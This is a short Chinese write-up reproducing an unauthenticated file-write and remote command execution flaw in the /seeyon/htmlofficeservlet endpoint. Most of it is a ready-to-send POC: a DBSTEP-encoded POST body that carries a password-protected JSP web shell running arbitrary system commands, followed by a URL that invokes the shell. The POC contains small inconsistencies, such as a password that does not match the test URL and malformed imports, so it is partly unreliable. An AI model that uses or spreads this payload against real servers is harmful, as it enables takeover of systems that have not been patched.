某系统seeyon/htmlofficeservlet" 接口存在远程命令执行漏洞

前段时间因为疫情隔离在家无事可做，就到漏洞库逛了逛，找个漏洞试试运气

◡̈⃝ ♡ .^◡^. ᵔ.ᵔ ᵔ◡ᵔ运气还不错，就浅记一下

就是这个了

描述

远程攻击者在无需登录的情况下可通过向 URL /seeyon/htmlofficeservlet POST 精心构造的数据即可向目标服务器写入任意文件，写入成功后可执行任意系统命令进而控制目标服务器
1在网站后面输入seeyon/htmlofficeservlet出现下面这种画面说明可能存在漏洞

复现

2.用burp抓包，转到Repeater模块用change request method转post传参
把经过解密后的poc写进去
DBSTEP V3.0 355 0 666 DBSTEP=OKMLlKlV
OPTION=S3WYOSWLBSGr
currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66
CREATEDATE=wUghPB3szB3Xwg66
RECORDID=qLSGw4SXzLeGw4V3wUw3zUoXwid6
originalFileId=wV66
originalCreateDate=wUghPB3szB3Xwg66
FILENAME=qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdN1liN4KXwiVGzfT2dEg6
needReadFile=yRWZdAS6
originalCreateDate=wLSGP4oEzLKAz4=iz=66
<%@ page language=”java” import=”java.util.,java.io.“ pageEncoding=”UTF-8”%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp+”n”);}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();} %><%if(“calsee”.equals(request.getParameter(“pwd”))&&!””.equals(request.getParameter(“cmd”))){out.println(“<pre>“+excuteCmd(request.getParameter(“cmd”)) + “</pre>“);}else{out.println(“:-)”);}%>>a6e4f045d4b8506bf492ada7e3390d7ce
*出现如下响应则上传成功

3.访问http://xxx.xxx.xxx.x/seeyon/test123456.jsp?pwd=asasd3344&cmd=ipconfig，存在漏洞